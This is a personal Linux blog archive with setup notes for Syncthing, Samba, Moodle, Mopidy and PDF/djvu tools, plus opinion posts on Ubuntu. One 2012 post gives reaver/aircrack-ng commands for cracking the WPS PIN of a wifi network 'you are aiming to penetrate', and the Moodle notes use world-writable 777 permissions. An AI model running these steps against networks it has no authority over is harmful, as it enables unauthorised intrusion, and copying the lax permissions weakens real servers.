Monday, November 06, 2017

Setting Up Syncthink by Command Line on a Server

Props to this site for the info I based the following on!

First, install syncthing:

$ sudo apt-get update 

$ sudo apt-get install syncthing

$ syncthing

You will need to change the address of the web gui by editing the syncthing config.xml.

$ sudo nano ~/.config/syncthing/config.xml 

<gui enabled="true" tls="false">


<gui enabled="true" tls="false">

systemd is a system and service manager for Linux that runs as PID 1 (Process ID 1) and starts the rest of the system. It uses a script file called a Unit for each service, they are located in /etc/systemd/system/ to get this to work you need to put this file into that directory.

This is the Unit text
Description=Syncthing - Open Source Continuous File Synchronization for %I
ExecStart=/usr/bin/syncthing -no-browser -no-restart -logflags=0
SuccessExitStatus=3 4
RestartForceExitStatus=3 4
Copy this file into the etc/systemd/system/ directory and name it with the service username you login as:

$ sudo systemctl enable syncthing@username.service
$ sudo systemctl start syncthing@username.service

That's it, reboot your server to check syncthing starts and then you can start setting up the folders you want to sync from the webgui.

Saturday, November 04, 2017

Samba Setup

Installation and Setup:

First install the following:

apt-get install samba-common smbclient samba-common-bin smbclient cifs-utils

Next, authorize users to access samba shares:

sudo smbpasswd -a

Make a safe backup copy of the original smb.conf file.

sudo cp /etc/samba/smb.conf /etc/samba/smb.conf.bkup

Edit the file "/etc/samba/smb.conf"

sudo nano /etc/samba/smb.conf

Add this to the end of the file:

path = /home/user_name>/folder_name
valid users =
read only = no

Restart samba:

sudo service smbd restart

Use this command to check your smb.conf for any syntax errors.


Determine the LAN address of the computer:

sudo ifconfig

List all shares:

smbclient -L /// -U


smbclient /// -U

Mounting Local Shares:

smbclient -L XXX.XXX.X.X -U username

Then, create a local directory and mount the remote share:

mkdir /mnt/abc mount -t cifs //server/share /mnt/abc

Depending on the access you give to your windows share are the credentials required: if you give your share 'Everyone' read (and write) access nothing else is required, otherwise you must add credentials at mount time:

mount -t cifs //server/share /mnt/abc -o user=user,pass=password,dom=domain

When finished just dismount the share:

umount /mnt/abc

Sunday, October 22, 2017

Testing Moodle on Debian 9

So I bought a Raspberry Pie and put Debian 9 on it so that I can play around with it as a home server. Currently I am configuring Moodle on it, so here are my notes:

Debian 9 (stretch) has 2.7.17 in the repositories. This is fairly old, so I will be installing the git version instead.


sudo apt-get update


sudo apt-get install apache2 mysql-client mysql-server php7.0 libapache2-mod-php7.0


sudo apt-get install graphviz aspell php7.0-pspell php7.0-curl php7.0-gd php7.0-intl php7.0-mysql php7.0-xml php7.0-xmlrpc php7.0-ldap php7.0-zip php7.0-soap php7.0-mbstring


sudo service apache2 restart


sudo apt-get install git-core


cd /opt


sudo git clone git://


cd moodle


sudo git branch -a

Since the guide I'm following is installing Moodle 3.1, and I don't want any incompatibilities, this is what I will be installing as well.


sudo git branch --track MOODLE_31_STABLE origin/MOODLE_31_STABLE


sudo git checkout MOODLE_31_STABLE


sudo cp -R /opt/moodle /var/www/html/


sudo mkdir /var/moodledata


sudo chown -R www-data /var/moodledata


sudo chmod -R 777 /var/moodledata


sudo chmod -R 0755 /var/www/html/moodle


sudo mysql -u root -p




create user 'username'@'localhost' IDENTIFIED BY 'passwordforuser';

NOTE: Make sure to change 'username' 'passwordforuser' to whatever password you would like. (to change the password, you can used the following command: set password for moodle@localhost = password('newpassword');)



NOTE: Again, adjust username and password.


MariaDB [(none)]> quit;


sudo chmod -R 777 /var/www/html/moodle


sudo chmod -R 0755 /var/www/html/moodle


Open your browser and go to http://IP.ADDRESS.OF.SERVER/moodle
Follow the prompts:

Change the path for moodledata: /var/moodledata

Host server: localhost
Database: moodle
User: username (the user you created when setting up the database)
Password: userpassword (the password for the user you created)
Tables Prefix: mdl_


sudo chmod -R 0755 /var/www/html/moodle

Saturday, October 14, 2017

Setting Up Mopidy, Ncmpcpp, and Spotify on Debian Stretch

As of Debian Stretch, there are a few things to do. Here is the breakdown

Add the archive’s GPG key: 

wget -q -O - | sudo apt-key add - 

Add the APT repo to your package sources: 

sudo wget -q -O /etc/apt/sources.list.d/mopidy.list 

Install Mopidy and all dependencies: 
sudo apt-get update
sudo apt-get install mopidy mopidy-spotify ncmpcpp

There are two configuration files that need to be adjusted. 

First, there is the Mopidy configuration file: ~/.config/mopidy/mopidy.conf

Here is my configuration file:

# For further information about options in this file see:
# The initial commented out values reflect the defaults as of:
#   Mopidy 2.1.0
#   Mopidy-File 2.1.0
#   Mopidy-HTTP 2.1.0
#   Mopidy-Local 2.1.0
#   Mopidy-M3U 2.1.0
#   Mopidy-MPD 2.1.0
#   Mopidy-SoftwareMixer 2.1.0
#   Mopidy-Spotify 3.1.0
#   Mopidy-Stream 2.1.0
# Available options and defaults might have changed since then,
# run `mopidy config` to see the current effective config and
# `mopidy --version` to check the current version.

#cache_dir = $XDG_CACHE_DIR/mopidy
#config_dir = $XDG_CONFIG_DIR/mopidy
#data_dir = $XDG_DATA_DIR/mopidy
#max_tracklist_length = 10000
#restore_state = false

color = true
console_format = %(levelname)-8s %(message)s
debug_format = %(levelname)-8s %(asctime)s [%(process)d:%(threadName)s] %(name)s\n  %(message)s
debug_file = /.config/mopidy/mopidy.log

output = tee name=t t. ! queue ! autoaudiosink t. ! queue ! audioresample ! audioconvert ! audio/x-raw,rate=44100,channels=2,format=S16LE ! wavenc ! filesink location=/tmp/mpd.fifo
#mixer = software
#mixer_volume =
#output = autoaudiosink
#buffer_time =

#scheme =
#hostname =
#port =
#username =
#password =

enabled = true
hostname =
port = 6600
#password =
#max_connections = 20
#connection_timeout = 60
#zeroconf = Mopidy MPD server on $hostname
#command_blacklist =
#  listall
#  listallinfo
#default_playlist_scheme = m3u

#enabled = true
#hostname =
#port = 6680
#static_dir =
#zeroconf = Mopidy HTTP server on $hostname

#enabled = true
#protocols =
#  http
#  https
#  mms
#  rtmp
#  rtmps
#  rtsp
#metadata_blacklist =
#timeout = 5000

#enabled = true
#base_dir = $XDG_MUSIC_DIR
#default_encoding = latin-1
#default_extension = .m3u8
#playlists_dir =

#enabled = true

#enabled = true
#media_dirs =
#  ~/|Home
#excluded_file_extensions =
#  .jpg
#  .jpeg
#show_dotfiles = false
#follow_symlinks = false
#metadata_timeout = 1000

#enabled = true
#library = json
#media_dir = $XDG_MUSIC_DIR
#scan_timeout = 1000
#scan_flush_threshold = 100
#scan_follow_symlinks = false
#excluded_file_extensions =
#  .directory
#  .html
#  .jpeg
#  .jpg
#  .log
#  .nfo
#  .png
#  .txt

enabled = true
username =
password =
client_id =
client_secret =
#bitrate = 160
#volume_normalization = true
#private_session = false
#timeout = 10
#allow_cache = true
allow_network = true
allow_playlists = true
#search_album_count = 20
#search_artist_count = 10
#search_track_count = 50
#toplist_countries =

You put your username and password, above as requested under the Spotify section. Then you need to now go to to get your client_id and client_secret.

Finally, you need to edit (or create) the following ncmpcpp configuration file in order for visualizations to work ~/.ncmpcpp/config

Here is what I have in mine:

visualizer_fifo_path = "/tmp/mpd.fifo"
visualizer_output_name = "my_fifo"
visualizer_sync_interval = "30"
visualizer_in_stereo = "yes"
visualizer_type = "spectrum"
visualizer_look = "+|"

Most Used Shortcut Keys for Ncmpcpp

  • 1 - Current playlist
  • 2 - Filesystem browser
  • 3 - DB search
  • 4 - Library
  • 5 - Playlist editor
  • 6 - Tag editor
  • 7 - Output selector
  • 8 - Music visualizer
  • = - Clock
  • F1 - Help

Other UI keys

  • q - Quit
  • f - Seek forward
  • b - Seek backward
  • \ - Switch between classic and alternative views
  • i - Show song info
  • I - Show artist info (saved in ~/.ncmpcpp/artists/ARTIST.txt)
  • L - Shuffle between available lyric databases
  • l - Retrieve song lyrics for current song Show/hide lyrics
  • > - Next track
  • < - Previous track
  • p - Play/Pause
  • a - Add item to playlist
  • S - Save playlist
  • c - Clear playlist
  • r - Toggle repeat mode
  • z - Toggle random mode
  • + - Increase volume 2%
  • - - Decrease volume 2%

Additional Backend Extensions - WORK IN PROGRESS:

spotify-tunigo - "Spotify Browse" is provided by the Mopidy-Spotify-Tunigo extension. It allows you to browse certain playlists on Spotify. First, install it: sudo apt-get install mopidy-spotify-tunigo Then modify ~.config/mopidy/mopidy.conf by adding the following lines:


enabled = true

mopidy-scrobbler -
sudo apt-get install mopidy-spotify-tunigo

enabled = true
username = your_username
password = your_password

mopidy-soundclound - sudo apt-get install mopidy-soundcloud

enabled = true
explore_songs = 25
auth_token =[go to to get it]

mopidy-youtube - I had trouble getting this one to work using the repositories. I had to use 'pip' instead:

sudo apt-get install python-pip [if you don't already have it installed]
sudo pip install --upgrade pafy
sudo pip install --upgrade mopidy-youtube 

mopidy-tunein - Install: sudo apt-get install mopidy-tunein  Then modify ~.config/mopidy/mopidy.conf by adding the following lines:

timeout = 5000

mopidy-internetarchive -

mopidy-somafm -
sudo apt-get install mopidy-somafm

That's it!

mopidy-podcast -

Monday, January 09, 2017

booklet creation and imposition in linux

in this post, i will go over how to create "signatures" from pdf files in linux so that you can print them out for your bookbinding projects. these booklets are the result of "imposition" - rearranging pages so that when printed and folded together - produces a series of signatures (booklets) that can then be bound together in books. there does not seem to be very good documentation on how to do this in linux, as far as i can tell.

the sizes

here i will only be focusing on booklets of eight printout pages - meaning that the signatures are 32 pages long (two pages on each side of the paper multiplied by eight), but the same reasoning can be applied to signatures of different sizes.

since the minimal signature is four pages long, the length of signatures need to be in multiples of four. i prefer 32 pages signatures generally (eight pages), but others may prefer shorter signatures. if total book you are printing is 247 pages, and you have 32 page signatures, then you will have eight booklets (the last booklets will have blank pages).

the commands

you will need to install: pdfjam

once installed, here are he commands you can use (depending on the type of duplex printer you have, and in particular, whether it prints things "upside down" on the back of the paper [the first command], or "right-side up" [the second command]). this command will produce a file with '-book' suffixed to the document (example: applied to a "document.pdf" file, this command will produce a new file "document-book.pdf" in the same directory):

$ pdfjam --landscape --suffix book --signature 32 -- document.pdf -

$ pdfjam --landscape --suffix book --signature 32 --preamble '\usepackage{everyshi}
          \EveryShipout{\ifodd\c@page\pdfpageattr{/Rotate 180}\fi}
          \makeatother' -- document.pdf -

if anyone knows how to do this with djvu files, i would much appreciate the information!

Wednesday, October 10, 2012

ubuntu vs xubuntu

in this post i am basically going to explain why i am unhappy with the direction of ubuntu, and why xubuntu - and the xfce way - appeals to me so much more.

ubuntu, unity, and xubuntu

for the past few releases (basically since maverick), the company behind ubuntu has tried to redefine how we interact with our desktop through the development of unity. i've been very supportive of these efforts overall. making design decisions is tough and treacherous, and if anyone has a vision to improve the desktop linux experience, then i applaud their efforts. now i want to evaluate these efforts. does unity improve the desktop experience?

meh. definitely a mixed bag.

the main problem is that everything feels half baked right now, and the improvements in the next version of ubuntu (quantal) don't really fix most of the issues i have. when analyzed from a user experience point of view, the changes canonical has brought to ubuntu can be largely divided into the following categories (i'm not trying to cover everything, just the most bits that we are likely to interact with the most):
  • notifications
  • the top panel (which, in ubuntu, includes the global menu and the status menus)
  • the launcher (including right click menus)
  • the dash and hud
 the problem is that each of these components, both individually and taken together, include a number of design decisions that do not make sense to me (nor do they work well with my work flow). i will consider each in turn and then compare it with xubuntu's xfce analogues.

notifications in ubuntu and xubuntu

the way notifications are implemented in xubuntu make a lot more sense then how they are implemented in ubuntu. in the quantal version of xubuntu (i don't know about previous versions), system notifications are sensibly placed in the upper right hand corner of the screen, close to the status menus, and they include a little 'x' to close them if they are in your way. on ubuntu, they are placed about an inch lower for no apparent reason, and there is no way to close them until they finally fade out (which can be very annoying at times).

xubuntu definitely wins this one.

the top panel

in ubuntu the top panel includes both the global menu on the left and the status menus on the right.

global menu

first, i have to admit, on my fairly small screen, i really like the global menu. but i also fully acknowledge that on big screens it makes considerably less sense, and it takes more time (and often more clicks) to do things than when the menus are attached to each individual window (for example, i don't have to switch windows and then click on the menu item in the global menu, i can just click the menu item directly). also, there are some inconsistencies in ubuntu's implementation, as has been pointed out in the ars technica review of precise:
The global menubar, which is one of the defining characteristics of the Unity environment, still poses a number of problems. The global menu model simply isn’t compatible with the window-specific menu system used in Linux applications. The effort to bolt these conflicting paradigms together could be executed better.
Despite displaying the menu contents outside of the window, the menus are still window-specific. By design, the global menu bar displays the menu of the focused window. This proves awkward in some applications with dialogs and multiple windows.
specific problems are then enumerated in the article (go and check it out). in other words, the implementation of global menus has introduced odd user experience inconsistencies into the picture, one's which are going to be really hard to fix (and, imho, probably won't be).

so... i really like that the global menus reduce chrome clutter, but they do so at a price. this breaks even for me.

status menus

overall i like the design of the status menus, though they still feel inconsistent/unhelpful in a number of ways. the sound menu i haven't been able to get much use of, it is easier to just use rhythmbox or clementine directly, and when multiple music players are installed, it becomes cluttered fast. the email/messaging menu doesn't play well with pidgin (empathy isn't good enough for my needs), i dislike that i can't close thunderbird to the menu so i don't have to have it open as a window, and lots of applications that would generally install something in this panel are blocked from doing so. at least xubuntu doesn't block these applications, and it plays well with pidgin. also, the weather indicator in ubuntu dies pretty much every single day, whereas i've had a lot less trouble with the weather indicator in xubuntu. and, finally, the calender indicator in both is pretty useless in both - i sure it would tell me about upcoming appointments and birthdays.

the launcher

the launcher in ubuntu pretty much drives me crazy. i liked how, in oneric, it would hide when i pushed a window up against it or made a window fullscreen. this default behavior was eliminated in precise - now i must keep it always open or have it automatically hide - and neither option i like. i could work around this, i think, if i were allowed to move it either to the bottom of the screen or the other side. but nope, this is not allowed (thanks designers for knowing what works better for me than i do :/). and it is buggy. like really buggy. open applications don't show up when they are open (especially libreoffice), right clicking on the menus have caused my system to freeze, and sometimes there is a little arrow next to applications that are not open for some reason. plus, i can't press the icon to minimize an application. in xubuntu, the launcher at the bottom just does what it is supposed to do - launch applications. it doesn't try to bake in a whole bunch of functionality that doesn't work all that well (yeah, i'm talking to you, unity). it hides the way i want and i can move it around if i so choose. also in xubuntu, i keep track of the open windows in the top panel. when i click on an application indicator there, it minimizes it or brings it back into view. it is simple, straightforward, and works well. much better than unity's launcher.

the dash and hud

the dash was one of the things i really liked about ubuntu until they polluted it with the integrated shopping i won't go near it. in fact, it is the main reason that i have given up on unity - canonical, DO NOT send my queries to your servers without my express permission. the end. the dash is trying to be the place to search for everything. no thanks. there is a huge divide between searching for my own files and going online, and i do not want the two to mix.

finally, the hud.

this is probably my favorite improvement that unity has contributed to the user experience, and i have no complaints about it other than wishing it were modular enough to be ported to xubuntu. and if it is not modular enough, then this only shows that canonical is not really helping the open source community, only producing applications that it uses for its own distribution. and this pretty much seems akin to vendor lock-in to me.

Tuesday, October 09, 2012

why ubuntu has soured on me, and my move to xubuntu

a couple of weeks back, there was a huge community backlash to the news that the newest version of ubuntu (quantal 12.10) would send ALL queries made in the dash, via the shopping lens, to canonical as a way to help build revenue. that's right, EVERYTHING you type into the dash (when you search for programs or files or anything) will be sent to canonical for the purpose of advertising directly on your desktop. i protested as loud as anyone. canonical's response (besides defending their position) has been to include a program that can disable all internet activity from the dash. unfortunately, i find this solution unsatisfactory for the following reasons:
  • it is opt-out vs. opt in
this angers me. it works to build revenue by relying on people's ignorance of what canonical is doing with their queries. not everyone pays as much attention to the development of ubuntu as i do, and most will be ignorant of what canonical is up to. this is shitty. and unethical.
  • it is not separated into its own lens, but is integrated into the dash home
if i am looking to buy something (or even looking for music, videos, or programs) then I can understand offering search results from third-parties in separate lenses, but NOT when i am merely searching my own computer for programs, files, or whatever.
  • it is a security breach and a violation of privacy.
sorry, i can't see it any other way no matter how canonical apologists try to reassure everyone that our queries are anonymous and that our privacy is being respected. i do not trust you canonical, and if you truly respected your users, then we wouldn't have to (and your money-making scheme here has only shown how untrustworthy you are)., all of this is to say that i'm done with ubuntu, and i will actively discourage its use (which is sad, since i have been a huge supporter of ubuntu for many years). there are many options for linux desktop users, and i'm glad that this fiasco has given me an opportunity to explore other options. one option i'm particularly happy about is xubuntu, an xfce based, community run distro built on top of the ubuntu software infrastructure. in my next post, i'll explain the reasons for this.

    Saturday, August 25, 2012

    the easiest way to get aircack-ng and reaver working on ubuntu 12.04

    neither aircack-ng nor reaver is in the repos in ubuntu 12.04. aircrack was dropped in the precise cycle because it was dropped by debian temporarily in order to sort out some licensing and maintenance issues, and reaver is fairly new and just didn't make it in time. fortunately both packages are in 12.10. by far the easiest way to get these packages to work in 12.04 is to download the quantal versions and install them in precise. i've done so, and i haven't run into any problems. :) the packages can be found here:

    once installed, run:


    to figure out your wifi interface. then put it in monitor mode:

    sudo airmon start wlan1

    next, run 'airodump' to figure out the BSSID of the network you are aiming to penetrate:

    sudo airodump mon0

    when you have found it, cntr-c to exit. then run 'wash' on it to see if reaver is possibly going to be successful.

    sudo wash -i mon0

    if so, then let reaver do its magic :)

    sudo reaver -i mon0 -b BSSID -v

    Thursday, August 23, 2012

    making a high quality djvu file/ebook from somewhat crappy pdf scans

    i am assuming you either you have a hard copy of an article/book/etc., or else a pdf file of a scanned in document that you wish you clean up and make into a high quality djvu file. also, i am a linux user, i have no idea (and couldn't care less) how to do it on windows/mac. here is how i do it.


    gscan2pdf (my fav scanning program presently)
    scan tailor (brilliant piece of software)


    if you have a hardcopy, i recommend using gscan2pdf (the name is deceiving, it also outputs djvu). it may, in fact, do almost everything you need to get your documents cleaned up. play with it; it is a powerful tool.

     if you have a pdf file, the first thing you need to do is to convert it to a multipage tiff file. the highest quality way to convert it that I have found is by using the following ghostscript command:

    gs -SDEVICE=tiffg3 -r600x600 -sPAPERSIZE=a4 -sOutputFile="output.tif" -dNOPAUSE -dBATCH -- "input.pdf"

    this seems to output a much higher quality tiff file than the easy to use "convert" command:

    convert input.pdf output.tif

    now create a work folder that you put the tiff file you created into, open up scan tailor and open up this work folder. scan tailor is an amazingly powerful application. it will split pages, straighten things out, center the content, de-speckle, and more. again, play around. by the time you are done, you will be able to output a very nice, clean djvu file.

    recommendations for using scan tailor

    even for books, i recommend looking at each page briefly to make sure that the content is properly selected (often it selects more than is needed on marked up pages).

    after the content is selected, i center the content on each page, so the margins are the same.

    i output in 600dpi.


    scan tailor creates an "out" folder in the work folder you created. there are a number of ways you could convert the output files (one for each page) into a single djvu file. this is not my preferred way, but here is a command line way of doing this:

    for i in *tif; do cjb2 $i ${i%tif}djvu; echo $i; done

    instead, i prefer to re-open gscan2pdf, and select all of the tiff file you just generated in the "out" folder. this way, i can see the output files in a scrollable way and notice any corrections i need to make back in scan tailor before producing my final product.

    when things are ready, select the djvu output option, and you should have a really nice djvu file.


    it is often nice to have both a djvu file and a pdf file. to make this conversion, in my experience the best method is the following command:

    ddjvu -format=pdf input.djvu output.pdf

    finally, when i print a document, i often want to save paper by creating a "2x1" document, where each page i print has two documents printed side-by-side in landscape orientation. unfortunately, i only know how to do this with pdf files.(p.s., i wish i knew how to output such a document directly into another djvu document. i do not. if anyone has any tips, please leave a comment!). you need "pdfjam" installed, and then run the following command:

    pdfjam --nup 2x1 --landscape input.pdf

    this will output a file of the same name with "-pdfjam" appended to it.

    other resources

    here are some very helpful resources i used to figure things out:

    Tuesday, August 21, 2012

    t-moble short prompt vs. standard prompt?

    anyone know the difference between the two? does it cut out all the rubbish before someone can actually leave a message?